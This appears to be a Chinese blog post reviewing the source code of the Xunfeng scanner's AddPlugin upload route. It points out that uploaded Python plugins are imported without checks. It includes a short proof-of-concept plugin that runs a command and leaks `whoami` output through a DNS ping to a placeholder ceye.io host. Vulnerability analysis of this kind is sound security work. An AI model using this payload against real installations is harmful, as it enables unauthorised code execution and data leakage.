巡风源码阅读与分析---AddPlugin()方法

时间：2023-12-18 23:25:14

文件位置：view/view.py

AddPlugin()

# 新增插件异步

@app.route('/addplugin', methods=['get', 'post'])

@logincheck

@anticsrf

def AddPlugin():

    result = 'fail'

    f = request.files['file']

    isupload = request.form.get('isupload', 'false')

    file_name = ''

    if f:

        fname = secure_filename(f.filename)

        if fname.split('.')[-1] == 'py':

            path = file_path + fname

            if os.path.exists(file_path + fname):

                fname = fname.split('.')[0] + '_' + str(datetime.now().second) + '.py'

                path = file_path + fname

            f.save(path)

            if os.path.exists(path):

                file_name = fname.split('.')[0]

                module = __import__(file_name)

                mark_json = module.get_plugin_info()

                mark_json['filename'] = file_name

                mark_json['add_time'] = datetime.now()

                mark_json['count'] = 0

                if 'source' not in mark_json:

                    mark_json['source'] = 0

                insert_result = Mongo.coll['Plugin'].insert(mark_json)

                if insert_result:

                    result = 'success'

                    file_name = file_name +'.py'

    else:

        name = request.form.get('name', '')

        info = request.form.get('info', '')

        author = request.form.get('author', '')

        level = request.form.get('level', '')

        type = request.form.get('vultype', '')

        keyword = request.form.get('keyword', '')

        pluginurl = request.form.get('pluginurl', '')

        methodurl = request.form.get('methodurl', '')

        pdata = request.form.get('pdata', '')

        analyzing = request.form.get('analyzing', '')

        analyzingdata = request.form.get('analyzingdata', '')

        tag = request.form.get('tag', '')

        try:

            query = {'name': name, 'info': info, 'level': level, 'type': type, 'author': author, 'url': pluginurl,

                     'keyword': keyword, 'source': 0}

            query['plugin'] = {'method': methodurl.split(' ', 1)[0], 'url': methodurl.split(' ', 1)[1],

                               'analyzing': analyzing, 'analyzingdata': analyzingdata, 'data': pdata, 'tag': tag}

            file_name = secure_filename(name) + '_' + str(datetime.now().second) + ".json"

            with open(file_path + file_name, 'wb') as wt:

                wt.writelines(json.dumps(query))

            query.pop('plugin')

            query['add_time'] = datetime.now()

            query['count'] = 0

            query['filename'] = file_name

            insert_result = Mongo.coll['Plugin'].insert(query)

            if insert_result:

                result = 'success'

        except:

            pass

    if isupload == 'true' and result == 'success':

        code_tuple = open(file_path+file_name).read()

        code = ''

        for _ in code_tuple:

            code += _

        params = {'code': code}

        req = urllib2.Request('https://sec.ly.com/xunfeng/pluginupload')

        req.add_header('Content-Type','application/x-www-form-urlencoded')

        rsp = urllib2.urlopen(req,urlencode(params))

        print 'upload result:' + rsp.read()

    return result

先判断插件格式是json还是上传python文件

329-348行

python文件:利用secure_filename()函数来处理文件名。secure_filename()函数只返回ASCII字符，非ASCII字符会被过滤掉。判断是否py结尾， 文件是否存在，如果存在就重新命名。然后保存。

然后用__import__()加载这个文件， 获取到里面的get_plugin_info()的信息。我们编写插件的格式要有get_plugin_info()这个方法，返回插件信息。然后再加入了文件名 时间。保存到数据库。

由于使用了__import__() 可以动态加载文件，也没过滤。所以可以构造个代码执行，利用dnslog验证下。

import os;

def get_plugin_info():

    os.system("ping `whoami`.ip.port.xxx.ceye.io");

成功

巡风源码阅读与分析---AddPlugin()方法

351-379行

如果是json格式就接收传来的参数，然后插入到数据库里，并且写入到.json里文件里。

380-389行

如果有共享上传并且成功了，就向ysrc也发送一份poc...

相关文章